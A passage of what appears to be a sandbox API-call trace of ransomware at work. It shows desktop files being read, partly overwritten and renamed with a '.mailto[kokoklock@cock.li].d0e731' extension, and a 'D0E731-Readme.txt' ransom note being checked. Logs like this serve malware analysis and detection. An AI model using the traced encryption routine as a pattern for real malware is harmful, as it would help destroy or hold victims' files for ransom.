nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1363f94c, lpOverlapped=0x0 | out: lpBuffer=0x1363f950*, lpNumberOfBytesRead=0x1363f94c*=0x4, lpOverlapped=0x0) returned 1 [0070.296] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.296] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.296] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0070.296] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422f00 [0070.296] NtQuerySystemTime (in: CurrentTime=0x1363f928 | out: CurrentTime=0x1363f928*=132121176281816762) returned 0x0 [0070.296] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0xa6478149 [0070.296] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x43938619 [0070.296] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x1b36d0b6 [0070.296] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0xe2e134dd [0070.296] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0xcedd84e5 [0070.296] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0xa439aa2d [0070.296] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x4a210b5b [0070.296] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x30c2be6f [0070.297] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0xdf742e1f [0070.297] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0xc9b07693 [0070.297] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x3fcb8215 [0070.297] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x63940444 [0070.297] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x1b92f6f6 [0070.297] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x4a49590b [0070.297] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x914ef04a [0070.297] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0xe1afacc3 [0070.297] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x4d0065ea [0070.297] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x4eedd0e5 [0070.297] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x80ffdd3b [0070.297] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x4fee5a4c [0070.297] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x5c8d6846 [0070.297] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x91abcbbe [0070.298] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x10aeb247 [0070.298] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x8e0aaa21 [0070.298] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x5911e7b6 [0070.298] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0xa1368bc3 [0070.298] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x33512b7c [0070.298] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0xa9dd4a1d [0070.298] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0x90737139 [0070.298] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0xcdfe4de0 [0070.298] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0xc482de83 [0070.298] RtlRandom (in: Seed=0x1363f934 | out: Seed=0x1363f934) returned 0xbc0be62 [0070.308] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.308] ReadFile (in: hFile=0x470, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1363f900, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1363f900*=0x4096, lpOverlapped=0x0) returned 1 [0070.309] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0070.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0070.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.309] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0070.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422f28 [0070.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0070.309] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0070.309] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0070.309] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0070.309] WriteFile (in: hFile=0x470, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1363f900, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1363f900*=0x4096, lpOverlapped=0x0) returned 1 [0070.310] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.310] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0xcc0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.310] WriteFile (in: hFile=0x470, lpBuffer=0x3422f28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1363f938, lpOverlapped=0x0 | out: lpBuffer=0x3422f28*, lpNumberOfBytesWritten=0x1363f938*=0x20, lpOverlapped=0x0) returned 1 [0070.310] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422f28) returned 1 [0070.310] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.310] WriteFile (in: hFile=0x470, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1363f94c, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0x1363f94c*=0x8, lpOverlapped=0x0) returned 1 [0070.310] WriteFile (in: hFile=0x470, lpBuffer=0x1363f964*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1363f94c, lpOverlapped=0x0 | out: lpBuffer=0x1363f964*, lpNumberOfBytesWritten=0x1363f94c*=0x4, lpOverlapped=0x0) returned 1 [0070.310] WriteFile (in: hFile=0x470, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1363f94c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1363f94c*=0x4, lpOverlapped=0x0) returned 1 [0070.310] WriteFile (in: hFile=0x470, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1363f94c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1363f94c*=0x6c, lpOverlapped=0x0) returned 1 [0070.310] WriteFile (in: hFile=0x470, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1363f94c, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0x1363f94c*=0x20, lpOverlapped=0x0) returned 1 [0070.310] WriteFile (in: hFile=0x470, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1363f94c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1363f94c*=0x4, lpOverlapped=0x0) returned 1 [0070.310] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0070.311] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0070.311] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0070.311] CloseHandle (hObject=0x470) returned 1 [0070.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e6480 [0070.927] wcscpy (in: _Dest=0x33e6480, _Source="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp") returned="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp" [0070.927] wcscat (in: _Dest=0x33e6480, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731" [0070.927] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp" (normalized: "c:\\users\\fd1hvy\\desktop\\sz tn3fnluirhzick.odp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\sz tn3fnluirhzick.odp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.949] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.950] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6480) returned 1 [0070.950] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp", dwFileAttributes=0x20) returned 0 [0070.950] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fac0 [0070.950] wcscpy (in: _Dest=0x347fac0, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.950] wcscat (in: _Dest=0x347fac0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.950] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.950] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fac0) returned 1 [0070.950] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427478) returned 1 [0070.950] RtlExitUserThread (Status=0x1) Thread: id = 466 os_tid = 0x12dc [0070.315] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\tqgqsjk.mkv")) returned 0x20 [0070.315] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv", dwFileAttributes=0x20) returned 1 [0070.315] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\tqgqsjk.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0070.316] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x136bfc4c | out: lpFileSize=0x136bfc4c*=101900) returned 1 [0070.316] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x18e08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.316] ReadFile (in: hFile=0x470, lpBuffer=0x136bfc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x136bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x136bfc20*, lpNumberOfBytesRead=0x136bfc1c*=0x4, lpOverlapped=0x0) returned 1 [0070.316] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.316] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.316] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0070.316] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422f28 [0070.316] NtQuerySystemTime (in: CurrentTime=0x136bfbf8 | out: CurrentTime=0x136bfbf8*=132121176282134538) returned 0x0 [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0xc7b8e9b3 [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x192b202f [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x92bc6992 [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0xbe7336be [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x960e949d [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0xbb5703bb [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x826f727d [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x531aeb7b [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x926e2aab [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x7f71408b [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x627340fa [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x2b876f74 [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x7bc29441 [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0xac38be2d [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x2d17a65d [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0xd43a19d6 [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0xfd45e817 [0070.316] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0xed260525 [0070.317] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0xc91ab854 [0070.317] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x3feab3fe [0070.317] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x5dd686eb [0070.317] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x46a80673 [0070.317] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x952cb13b [0070.317] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0xa31fd4ba [0070.317] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x94c4d3fe [0070.317] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x33978d94 [0070.317] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0xaa111354 [0070.317] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0xde71cc6f [0070.317] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0xf8132b02 [0070.317] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x149f4feb [0070.317] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x44f53e52 [0070.317] RtlRandom (in: Seed=0x136bfc04 | out: Seed=0x136bfc04) returned 0x9ac10b46 [0070.327] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.328] ReadFile (in: hFile=0x470, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x136bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x136bfbd0*=0x4096, lpOverlapped=0x0) returned 1 [0070.328] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0070.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0070.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0070.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422f50 [0070.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0070.329] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0070.329] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0070.329] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0070.329] WriteFile (in: hFile=0x470, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x136bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x136bfbd0*=0x4096, lpOverlapped=0x0) returned 1 [0070.329] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.329] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x18e0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.329] WriteFile (in: hFile=0x470, lpBuffer=0x3422f50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x136bfc08, lpOverlapped=0x0 | out: lpBuffer=0x3422f50*, lpNumberOfBytesWritten=0x136bfc08*=0x20, lpOverlapped=0x0) returned 1 [0070.329] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422f50) returned 1 [0070.329] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.329] WriteFile (in: hFile=0x470, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x136bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0x136bfc1c*=0x8, lpOverlapped=0x0) returned 1 [0070.329] WriteFile (in: hFile=0x470, lpBuffer=0x136bfc34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x136bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x136bfc34*, lpNumberOfBytesWritten=0x136bfc1c*=0x4, lpOverlapped=0x0) returned 1 [0070.329] WriteFile (in: hFile=0x470, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x136bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x136bfc1c*=0x4, lpOverlapped=0x0) returned 1 [0070.329] WriteFile (in: hFile=0x470, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x136bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x136bfc1c*=0x6c, lpOverlapped=0x0) returned 1 [0070.329] WriteFile (in: hFile=0x470, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x136bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0x136bfc1c*=0x20, lpOverlapped=0x0) returned 1 [0070.329] WriteFile (in: hFile=0x470, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x136bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x136bfc1c*=0x4, lpOverlapped=0x0) returned 1 [0070.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0070.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0070.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0070.330] CloseHandle (hObject=0x470) returned 1 [0070.928] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347c290 [0070.928] wcscpy (in: _Dest=0x347c290, _Source="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv") returned="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv" [0070.928] wcscat (in: _Dest=0x347c290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731" [0070.928] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\tqgqsjk.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\tqgqsjk.mkv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.948] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.948] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c290) returned 1 [0070.948] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv", dwFileAttributes=0x20) returned 0 [0070.948] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x3480480 [0070.948] wcscpy (in: _Dest=0x3480480, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.948] wcscat (in: _Dest=0x3480480, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.948] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.948] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480480) returned 1 [0070.948] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34813e8) returned 1 [0070.948] RtlExitUserThread (Status=0x1) Thread: id = 467 os_tid = 0x12e0 [0070.334] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\uX5P.png" (normalized: "c:\\users\\fd1hvy\\desktop\\ux5p.png")) returned 0x20 [0070.334] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\uX5P.png", dwFileAttributes=0x20) returned 1 [0070.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\uX5P.png" (normalized: "c:\\users\\fd1hvy\\desktop\\ux5p.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0070.334] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x1373f774 | out: lpFileSize=0x1373f774*=23677) returned 1 [0070.334] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x5c79, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.334] ReadFile (in: hFile=0x470, lpBuffer=0x1373f748, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1373f744, lpOverlapped=0x0 | out: lpBuffer=0x1373f748*, lpNumberOfBytesRead=0x1373f744*=0x4, lpOverlapped=0x0) returned 1 [0070.335] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0070.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422f50 [0070.335] NtQuerySystemTime (in: CurrentTime=0x1373f720 | out: CurrentTime=0x1373f720*=132121176282285438) returned 0x0 [0070.335] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0xfbbfdbd [0070.335] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x57ed49e [0070.335] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x592f69e5 [0070.335] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x38483472 [0070.335] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0xd5abb505 [0070.335] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0xdc31a7fd [0070.335] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0xaa276a16 [0070.335] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0xc4d9f1b7 [0070.335] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x5866658c [0070.335] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0xfb0f40fd [0070.335] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0xff4b8e7f [0070.335] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x1c28d2d8 [0070.335] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x80044000 [0070.335] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0xee8d500a [0070.335] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x482dabb0 [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x5f6c2a0c [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0xdc1479d4 [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0xfbe1418d [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0xe972ceb7 [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0xa744a79b [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x3b387a48 [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0xad832fe7 [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x44afb722 [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x62b7da25 [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0xc58ffddc [0070.336] RtlRandom (in: Seed=0x1373f72c | out: Seed=0x1373f72c) returned 0x7bbad50e 